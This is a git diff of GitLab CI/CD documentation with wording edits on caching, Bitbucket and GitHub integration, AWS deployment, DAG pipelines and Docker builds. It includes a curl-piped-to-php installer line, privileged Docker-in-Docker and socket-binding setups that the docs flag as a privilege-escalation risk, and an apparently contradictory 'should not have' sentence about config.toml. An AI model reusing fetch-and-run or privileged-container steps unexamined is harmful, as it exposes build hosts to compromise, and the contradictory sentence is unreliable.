the perspective of the developer, to ensure maximum availability of the -cache, when declaring `cache` in your jobs, use one or a mix of the following: +To ensure maximum availability of the cache, when you declare `cache` in your jobs, +use one or more of the following: - [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. - [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that will be only available to a particular project. + that are only available to a particular project. - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [CI/CD predefined variables](../variables/README.md#predefined-environment-variables). -TIP: **Tip:** -Using the same runner for your pipeline, is the most simple and efficient way to -cache files in one stage or pipeline, and pass this cache to subsequent stages -or pipelines in a guaranteed manner. - -From the perspective of the runner, in order for cache to work effectively, one -of the following must be true: +For runners to work with caches efficiently, you must do one of the following: - Use a single runner for all your jobs. - Use multiple runners (in autoscale mode or not) that use @@ -106,13 +97,12 @@ of the following must be true: where the cache is stored in S3 buckets (like shared runners on GitLab.com). - Use multiple runners (not in autoscale mode) of the same architecture that share a common network-mounted directory (using NFS or something similar) - where the cache will be stored. + where the cache is stored. -TIP: **Tip:** Read about the [availability of the cache](#availability-of-the-cache) to learn more about the internals and get a better idea how cache works. -### Sharing caches across the same branch +### Share caches across the same branch Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each branch always use the same cache: @@ -122,10 +112,9 @@ cache: key: ${CI_COMMIT_REF_SLUG} ``` -While this feels like it might be safe from accidentally overwriting the cache, -it means merge requests get slow first pipelines, which might be a bad -developer experience. The next time a new commit is pushed to the branch, the -cache will be re-used. +This configuration is safe from accidentally overwriting the cache, but merge requests +get slow first pipelines. The next time a new commit is pushed to the branch, the +cache is re-used and jobs run faster. To enable per-job and per-branch caching: @@ -134,33 +123,32 @@ cache: key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG" ``` -To enable per-branch and per-stage caching: +To enable per-stage and per-branch caching: ```yaml cache: key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" ``` -### Sharing caches across different branches +### Share caches across different branches -If the files you are caching need to be shared across all branches and all jobs, -you can use the same key for all of them: +To share a cache across all branches and all jobs, use the same key for everything: ```yaml cache: key: one-key-to-rule-them-all ``` -To share the same cache between branches, but separate them by job: +To share caches between branches, but have a unique cache for each job: ```yaml cache: key: ${CI_JOB_NAME} ``` -### Disabling cache on specific jobs +### Disable cache on specific jobs -If you have defined the cache globally, it means that each job will use the +If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to disable it completely, use an empty hash: @@ -169,7 +157,7 @@ job: cache: {} ``` -### Inherit global config, but override specific settings per job +### Inherit global configuration, but override specific settings per job You can override cache settings without overwriting the global cache by using [anchors](../yaml/README.md#anchors). For example, if you want to override the @@ -197,20 +185,19 @@ For more fine tuning, read also about the ## Common use cases -The most common use case of cache is to preserve contents between subsequent -runs of jobs for things like dependencies and commonly used libraries -(Node.js packages, PHP packages, rubygems, Python libraries, etc.), -so they don't have to be re-fetched from the public internet. +The most common use case of caching is to avoid downloading content like dependencies +or libraries repeatedly between subsequent runs of jobs. Node.js packages, +PHP packages, Ruby gems, Python libraries, and others can all be cached. For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). -### Caching Node.js dependencies +### Cache Node.js dependencies -Assuming your project is using [npm](https://www.npmjs.com/) to install the Node.js +If your project is using [npm](https://www.npmjs.com/) to install the Node.js dependencies, the following example defines `cache` globally so that all jobs inherit it. -By default, npm stores cache data in the home folder `~/.npm` but since -[you can't cache things outside of the project directory](../yaml/README.md#cachepaths), -we tell npm to use `./.npm` instead, and it is cached per-branch: +By default, npm stores cache data in the home folder `~/.npm` but you +[can't cache things outside of the project directory](../yaml/README.md#cachepaths). +Instead, we tell npm to use `./.npm`, and cache it per-branch: ```yaml # @@ -253,7 +240,7 @@ cache: before_script: # Install and run Composer - - curl --show-error --silent https://getcomposer.org/installer | php + - curl --show-error --silent "https://getcomposer.org/installer" | php - php composer.phar install test: @@ -355,17 +342,18 @@ test: ## Availability of the cache -Caching is an optimization, but isn't guaranteed to always work, so you need to +Caching is an optimization, but it isn't guaranteed to always work. You need to be prepared to regenerate any cached files in each job that needs them. -Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache) -according to your workflow, the availability of the cache ultimately depends on -how the runner has been configured (the executor type and whether different -runners are used for passing the cache between jobs). +After you have defined a [cache in `.gitlab-ci.yml`](../yaml/README.md#cache), +the availability of the cache depends on: + +- The runner's executor type +- Whether different runners are used to pass the cache between jobs. ### Where the caches are stored -Since the runner is the one responsible for storing the cache, it's essential +The runner is responsible for storing the cache, so it's essential to know **where** it's stored. All the cache paths defined under a job in `.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the runner's configured cache location. By default, they are stored locally in the @@ -379,11 +367,7 @@ machine where the runner is installed and depends on the type of the executor. ### How archiving and extracting works -In the most simple scenario, consider that you use only one machine where the -runner is installed, and all jobs of your project run on the same host. - -Let's see the following example of two jobs that belong to two consecutive -stages: +This example has two jobs that belong to two consecutive stages: ```yaml stages: @@ -415,7 +399,8 @@ job B: - vendor/ ``` -Here's what happens behind the scenes: +If you have one machine with one runner installed, and all jobs for your project +run on the same host: 1. Pipeline starts. 1. `job A` runs. @@ -431,28 +416,27 @@ Here's what happens behind the scenes: 1. `script` is executed. 1. Pipeline finishes. -By using a single runner on a single machine, you'll not have the issue where -`job B` might execute on a runner different from `job A`, thus guaranteeing the -cache between stages. That will only work if the build goes from stage `build` -to `test` in the same runner/machine, otherwise, you [might not have the cache -available](#cache-mismatch). +By using a single runner on a single machine, you don't have the issue where +`job B` might execute on a runner different from `job A`. This setup guarantees the +cache can be reused between stages. It only works if the execution goes from the `build` stage +to the `test` stage in the same runner/machine. Otherwise, the cache [might not be available](#cache-mismatch). During the caching process, there's also a couple of things to consider: - If some other job, with another cache configuration had saved its cache in the same zip file, it is overwritten. If the S3 based shared cache is used, the file is additionally uploaded to S3 to an object based on the cache - key. So, two jobs with different paths, but the same cache key, will overwrite + key. So, two jobs with different paths, but the same cache key, overwrites their cache. - When extracting the cache from `cache.zip`, everything in the zip file is extracted in the job's working directory (usually the repository which is pulled down), and the runner doesn't mind if the archive of `job A` overwrites things in the archive of `job B`. -The reason why it works this way is because the cache created for one runner -often will not be valid when used by a different one which can run on a -**different architecture** (e.g., when the cache includes binary files). And -since the different steps might be executed by runners running on different +It works this way because the cache created for one runner +often isn't valid when used by a different one. A different runner may run on a +different architecture (for example, when the cache includes binary files). Also, +because the different steps might be executed by runners running on different machines, it is a safe default. ### Cache mismatch @@ -464,7 +448,7 @@ mismatch and a few ideas how to fix it. | -------------------------- | ------------- | | You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled | | You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache | -| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. | +| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. | | You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. | Let's explore some examples. @@ -472,12 +456,10 @@ Let's explore some examples. #### Examples Let's assume you have only one runner assigned to your project, so the cache -will be stored in the runner's machine by default. If two jobs, A and B, -have the same cache key, but they cache different paths, cache B would overwrite -cache A, even if their `paths` don't match: +is stored in the runner's machine by default. -We want `job A` and `job B` to re-use their -cache when the pipeline is run for a second time. +Two jobs could cause caches to be overwritten if they have the same cache key, but +they cache a different path: ```yaml stages: @@ -506,15 +488,15 @@ job B: 1. `job B` runs. 1. The previous cache, if any, is unzipped. 1. `vendor/` is cached as cache.zip and overwrites the previous one. -1. The next time `job A` runs it will use the cache of `job B` which is different - and thus will be ineffective. +1. The next time `job A` runs it uses the cache of `job B` which is different + and thus isn't effective. To fix that, use different `keys` for each job. In another case, let's assume you have more than one runner assigned to your project, but the distributed cache is not enabled. The second time the pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case -will be different): +is different): ```yaml stages: @@ -538,9 +520,8 @@ job B: - vendor/ ``` -In that case, even if the `key` is different (no fear of overwriting), you -might experience that the cached files "get cleaned" before each stage if the -jobs run on different runners in the subsequent pipelines. +Even if the `key` is different, the cached files might get "cleaned" before each +stage if the jobs run on different runners in the subsequent pipelines. ## Clearing the cache @@ -553,26 +534,21 @@ To start with a fresh copy of the cache, there are two ways to do that. ### Clearing the cache by changing `cache:key` All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the -next run of the pipeline, the cache will be stored in a different location. +next run of the pipeline, the cache is stored in a different location. ### Clearing the cache manually > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4. -If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache -via GitLab's UI: +If you want to avoid editing `.gitlab-ci.yml`, you can clear the cache +via the GitLab UI: 1. Navigate to your project's **CI/CD > Pipelines** page. 1. Click on the **Clear runner caches** button to clean up the cache.  -1. On the next push, your CI/CD job will use a new cache. - -Behind the scenes, this works by increasing a counter in the database, and the -value of that counter is used to create the key for the cache by appending an -integer to it: `-1`, `-2`, etc. After a push, a new key is generated and the -old cache is not valid anymore. +1. On the next push, your CI/CD job uses a new cache. <!-- ## Troubleshooting diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md index ec0c41032ca..5d6af0b78db 100644 --- a/doc/ci/chatops/README.md +++ b/doc/ci/chatops/README.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index f8e2a2b7eb0..a466214374b 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -14,17 +14,17 @@ GitLab CI/CD can be used with Bitbucket Cloud by: To use GitLab CI/CD with a Bitbucket Cloud repository: -1. In GitLab create a **CI/CD for external repo**, select **Repo by URL** and +1. In GitLab create a **CI/CD for external repository**, select **Repo by URL** and create the project.  - GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). + GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) - with `api` scope. This will be used to authenticate requests from the web - hook that will be created in Bitbucket to notify GitLab of new commits. + with `api` scope. This is used to authenticate requests from the web + hook that is created in Bitbucket to notify GitLab of new commits. 1. In Bitbucket, from **Settings > Webhooks**, create a new web hook to notify GitLab of new commits. @@ -62,8 +62,9 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: 1. In Bitbucket, add a script to push the pipeline status to Bitbucket. - > Note: changes made in GitLab will be overwritten by any changes made - > upstream in Bitbucket. + NOTE: + Changes made in GitLab are overwritten by any changes made + upstream in Bitbucket. Create a file `build_status` and insert the script below and run `chmod +x build_status` in your terminal to make the script executable. @@ -110,7 +111,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository: esac echo "Pushing status to $BITBUCKET_STATUS_API..." - curl --request POST $BITBUCKET_STATUS_API \ + curl --request POST "$BITBUCKET_STATUS_API" \ --user $BITBUCKET_USERNAME:$BITBUCKET_ACCESS_TOKEN \ --header "Content-Type:application/json" \ --silent \ diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index b6f885ff220..8e3d609b5dc 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -14,7 +14,7 @@ GitLab. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch a video on [Using GitLab CI/CD pipelines with GitHub repositories](https://www.youtube.com/watch?v=qgl3F2j-1cI). -NOTE: **Note:** +NOTE: Because of [GitHub limitations](https://gitlab.com/gitlab-org/gitlab/-/issues/9147), [GitHub OAuth](../../integration/github.md#enabling-github-oauth) cannot be used to authenticate with GitHub as an external CI/CD repository. @@ -28,14 +28,14 @@ To perform a one-off authorization with GitHub to grant GitLab access your repositories: 1. Open <https://github.com/settings/tokens/new> to create a **Personal Access - Token**. This token will be used to access your repository and push commit + Token**. This token is used to access your repository and push commit statuses to GitHub. The `repo` and `admin:repo_hook` should be enable to allow GitLab access to your project, update commit statuses, and create a web hook to notify GitLab of new commits. -1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repo** tab, and then click +1. In GitLab, go to the [new project page](../../gitlab-basics/create-project.md#create-a-project-in-gitlab), select the **CI/CD for external repository** tab, and then click **GitHub**. 1. Paste the token into the **Personal access token** field and click **List @@ -43,12 +43,12 @@ repositories: 1. In GitHub, add a `.gitlab-ci.yml` to [configure GitLab CI/CD](../quick_start/README.md). -GitLab will: +GitLab: -1. Import the project. -1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) -1. Enable [GitHub project integration](../../user/project/integrations/github.md) -1. Create a web hook on GitHub to notify GitLab of new commits. +1. Imports the project. +1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +1. Enables [GitHub project integration](../../user/project/integrations/github.md) +1. Creates a web hook on GitHub to notify GitLab of new commits. ## Connect manually @@ -57,7 +57,7 @@ To use **GitHub Enterprise** with **GitLab.com**, use this method. To manually enable GitLab CI/CD for your repository: 1. In GitHub open <https://github.com/settings/tokens/new> create a **Personal - Access Token.** GitLab will use this token to access your repository and + Access Token.** GitLab uses this token to access your repository and push commit statuses. Enter a **Token description** and update the scope to allow: @@ -68,7 +68,7 @@ To manually enable GitLab CI/CD for your repository: URL for your GitHub repository. If your project is private, use the personal access token you just created for authentication. - GitLab will automatically configure polling-based pull mirroring. + GitLab automatically configures polling-based pull mirroring. 1. Still in GitLab, enable the [GitHub project integration](../../user/project/integrations/github.md) from **Settings > Integrations.** diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md index ae6cb759d23..44534ddf793 100644 --- a/doc/ci/ci_cd_for_external_repos/index.md +++ b/doc/ci/ci_cd_for_external_repos/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, howto --- @@ -18,7 +18,7 @@ GitLab CI/CD can be used with: Instead of moving your entire project to GitLab, you can connect your external repository to get the benefits of GitLab CI/CD. -Connecting an external repository will set up [repository mirroring](../../user/project/repository/repository_mirroring.md) +Connecting an external repository sets up [repository mirroring](../../user/project/repository/repository_mirroring.md) and create a lightweight project with issues, merge requests, wiki, and snippets disabled. These features [can be re-enabled later](../../user/project/settings/index.md#sharing-and-permissions). @@ -26,7 +26,7 @@ snippets disabled. These features To connect to an external repository: 1. From your GitLab dashboard, click **New project**. -1. Switch to the **CI/CD for external repo** tab. +1. Switch to the **CI/CD for external repository** tab. 1. Choose **GitHub** or **Repo by URL**. 1. The next steps are similar to the [import flow](../../user/project/import/index.md). @@ -74,7 +74,7 @@ If changes are pushed to the branch referenced by the Pull Request and the Pull Request is still open, a pipeline for the external pull request is created. -GitLab CI/CD will create 2 pipelines in this case. One for the +GitLab CI/CD creates 2 pipelines in this case. One for the branch push and one for the external pull request. After the Pull Request is closed, no pipelines are created for the external pull @@ -89,10 +89,10 @@ The variable names are prefixed with `CI_EXTERNAL_PULL_REQUEST_`. ### Limitations -This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories will be ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). +This feature currently does not support Pull Requests from fork repositories. Any Pull Requests from fork repositories are ignored. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/5667). -Given that GitLab will create 2 pipelines, if changes are pushed to a remote branch that -references an open Pull Request, both will contribute to the status of the Pull Request +Given that GitLab creates 2 pipelines, if changes are pushed to a remote branch that +references an open Pull Request, both contribute to the status of the Pull Request via GitHub integration. If you want to exclusively run pipelines on external pull requests and not on branches you can add `except: [branches]` to the job specs. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/24089#workaround). diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index cbaebde0b00..4706180688a 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -25,9 +25,9 @@ it easier to [deploy to AWS](#deploy-your-application-to-the-aws-elastic-contain > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31167) in GitLab 12.6. -GitLab's AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/), +The GitLab AWS Docker image provides the [AWS Command Line Interface](https://aws.amazon.com/cli/), which enables you to run `aws` commands. As part of your deployment strategy, you can run `aws` commands directly from -`.gitlab-ci.yml` by specifying [GitLab's AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy). +`.gitlab-ci.yml` by specifying the [GitLab AWS Docker image](https://gitlab.com/gitlab-org/cloud-deploy). Some credentials are required to be able to run `aws` commands: @@ -35,7 +35,7 @@ Some credentials are required to be able to run `aws` commands: 1. Log in onto the console and create [a new IAM user](https://console.aws.amazon.com/iam/home#/home). 1. Select your newly created user to access its details. Navigate to **Security credentials > Create a new access key**. - NOTE: **Note:** + NOTE: A new **Access key ID** and **Secret access key** pair will be generated. Please take a note of them right away. 1. In your GitLab project, go to **Settings > CI / CD**. Set the following as @@ -65,7 +65,7 @@ Some credentials are required to be able to run `aws` commands: - aws create-deployment ... ``` - NOTE: **Note:** + NOTE: The image used in the example above (`registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest`) is hosted on the [GitLab Container Registry](../../user/packages/container_registry/index.md) and is @@ -149,11 +149,11 @@ After you have these prerequisites ready, follow these steps: In both cases, make sure that the value for the `containerDefinitions[].name` attribute is the same as the `Container name` defined in your targeted ECS service. - CAUTION: **Warning:** + WARNING: `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment variables are defined within your project. - NOTE: **Note:** + NOTE: If the name of the task definition you wrote in your JSON file is the same name as an existing task definition on AWS, then a new revision is created for it. Otherwise, a brand new task definition is created, starting at revision 1. @@ -181,7 +181,7 @@ After you have these prerequisites ready, follow these steps: task definition, making the cluster pull the newest version of your application. -CAUTION: **Warning:** +WARNING: The [`AWS/Deploy-ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml) template includes both the [`Jobs/Build.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml) and [`Jobs/Deploy/ECS.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml) @@ -311,6 +311,9 @@ build_artifact: - <built artifact> ``` +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video walkthrough of this configuration process, see [Auto Deploy to EC2](https://www.youtube.com/watch?v=4B-qSwKnacA). + ### Deploy to Amazon EKS - [How to deploy your application to a GitLab-managed Amazon EKS cluster with Auto DevOps](https://about.gitlab.com/blog/2020/05/05/deploying-application-eks/) diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 04f27c584b7..a8ce46b9845 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,7 +17,7 @@ be set up. For example, you may have a specific tool or separate website that is built as part of your main project. Using a DAG, you can specify the relationship between -these jobs and GitLab will then execute the jobs as soon as possible instead of waiting +these jobs and GitLab executes the jobs as soon as possible instead of waiting for each stage to complete. Unlike other DAG solutions for CI/CD, GitLab does not require you to choose one or the @@ -44,9 +44,9 @@ It has a pipeline that looks like the following: | build_d | test_d | deploy_d | Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, -and even if service `a` takes a very long time to build, service `b` will not -wait for it and will finish as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and will run together in staged sequence just like any normal +and even if service `a` takes a very long time to build, service `b` doesn't +wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and +`_d` can be left alone and run together in staged sequence just like any normal GitLab pipeline. ## Use cases @@ -60,7 +60,7 @@ but related microservices. Additionally, a DAG can help with general speediness of pipelines and helping to deliver fast feedback. By creating dependency relationships that don't unnecessarily -block each other, your pipelines will run as quickly as possible regardless of +block each other, your pipelines run as quickly as possible regardless of pipeline stages, ensuring output (including errors) is available to developers as quickly as possible. @@ -88,13 +88,13 @@ are certain use cases that you may need to work around. For more information: > - It's enabled on GitLab.com. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-needs-visualization). -The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. +The needs visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph displays all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view. To see the needs visualization, click on the **Needs** tab when viewing a pipeline that uses the `needs:` keyword.  -Clicking a node will highlight all the job paths it depends on. +Clicking a node highlights all the job paths it depends on.  diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md index 4e7d9015e85..2b97f317fc1 100644 --- a/doc/ci/docker/README.md +++ b/doc/ci/docker/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ebbfde09c67..8e5ce2fb359 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -37,7 +37,7 @@ during jobs, each with their own tradeoffs. An alternative to using `docker build` is to [use kaniko](using_kaniko.md). This avoids having to execute a runner in privileged mode. -TIP: **Tip:** +NOTE: To see how Docker and GitLab Runner are configured for shared runners on GitLab.com, see [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners). @@ -103,7 +103,7 @@ image in privileged mode. CI builds, follow the `docker-compose` [installation instructions](https://docs.docker.com/compose/install/). -DANGER: **Warning:** +WARNING: By enabling `--docker-privileged`, you are effectively disabling all of the security mechanisms of containers and exposing your host to privilege escalation which can lead to container breakout. For more information, check @@ -152,9 +152,9 @@ Docker-in-Docker service and [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) support this. -GitLab Runner 11.11 or later is required, but it is not supported if GitLab -Runner is installed using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html). -See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/83) for details. +##### Docker + +> Introduced in GitLab Runner 11.11. 1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). 1. Register GitLab Runner from the command line to use `docker` and `privileged` @@ -217,6 +217,62 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # The 'docker' hostname is the alias of the service container as described at # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # + # Specify to Docker where to create the certificates, Docker will + # create them automatically on boot, and will create + # `/certs/client` that will be shared between the service and job + # container, thanks to volume mount from config.toml + DOCKER_TLS_CERTDIR: "/certs" + + services: + - docker:19.03.12-dind + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + ``` + +##### Kubernetes + +> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0. + +1. Using the + [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the + [`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137) + to specify a volume mount. + + ```yaml + runners: + config: | + [[runners]] + [runners.kubernetes] + image = "ubuntu:20.04" + privileged = true + [[runners.kubernetes.volumes.empty_dir]] + name = "docker-certs" + mount_path = "/certs/client" + medium = "Memory" + ``` + +1. You can now use `docker` in the build script (note the inclusion of the + `docker:19.03.13-dind` service): + + ```yaml + image: docker:19.03.13 + + variables: + # When using dind service, we need to instruct docker to talk with + # the daemon started inside of the service. The daemon is available + # with a network connection instead of the default + # /var/run/docker.sock socket. + DOCKER_HOST: tcp://docker:2376 + # + # The 'docker' hostname is the alias of the service container as described at + # https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services. # If you're using GitLab Runner 12.7 or earlier with the Kubernetes executor and Kubernetes 1.6 or earlier, # the variable must be set to tcp://localhost:2376 because of how the # Kubernetes executor connects services to the job container @@ -227,9 +283,14 @@ See the [related issue](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/iss # `/certs/client` that will be shared between the service and job # container, thanks to volume mount from config.toml DOCKER_TLS_CERTDIR: "/certs" + # These are usually specified by the entrypoint, however the + # Kubernetes executor doesn't run entrypoints + # https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4125 + DOCKER_TLS_VERIFY: 1 + DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client" services: - - docker:19.03.12-dind + - docker:19.03.13-dind before_script: - docker info @@ -302,6 +363,90 @@ build: - docker run my-docker-image /script/to/run/tests ``` +#### Use Docker socket binding + +The third approach is to bind-mount `/var/run/docker.sock` into the +container so that Docker is available in the context of that image. + +NOTE: +If you bind the Docker socket and you are +[using GitLab Runner 11.11 or later](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1261), +you can no longer use `docker:19.03.12-dind` as a service. Volume bindings +are done to the services as well, making these incompatible. + +To make Docker available in the context of the image: + +1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/). +1. From the command line, register a runner with the `docker` executor and share `/var/run/docker.sock`: + + ```shell + sudo gitlab-runner register -n \ + --url https://gitlab.com/ \ + --registration-token REGISTRATION_TOKEN \ + --executor docker \ + --description "My Docker Runner" \ + --docker-image "docker:19.03.12" \ + --docker-volumes /var/run/docker.sock:/var/run/docker.sock + ``` + + This command registers a new runner to use the special + `docker:19.03.12` image, which is provided by Docker. **The command uses + the Docker daemon of the runner itself. Any containers spawned by Docker + commands are siblings of the runner rather than children of the runner.** + This may have complications and limitations that are unsuitable for your workflow. + + Your `config.toml` file should not have an entry like this: + + ```toml + [[runners]] + url = "https://gitlab.com/" + token = REGISTRATION_TOKEN + executor = "docker" + [runners.docker] + tls_verify = false + image = "docker:19.03.12" + privileged = false + disable_cache = false + volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"] + [runners.cache] + Insecure = false + ``` + +1. Use `docker` in the build script. You don't need to + include the `docker:19.03.12-dind` service, like you do when you're using + the Docker-in-Docker executor: + + ```yaml + image: docker:19.03.12 + + before_script: + - docker info + + build: + stage: build + script: + - docker build -t my-docker-image . + - docker run my-docker-image /script/to/run/tests + 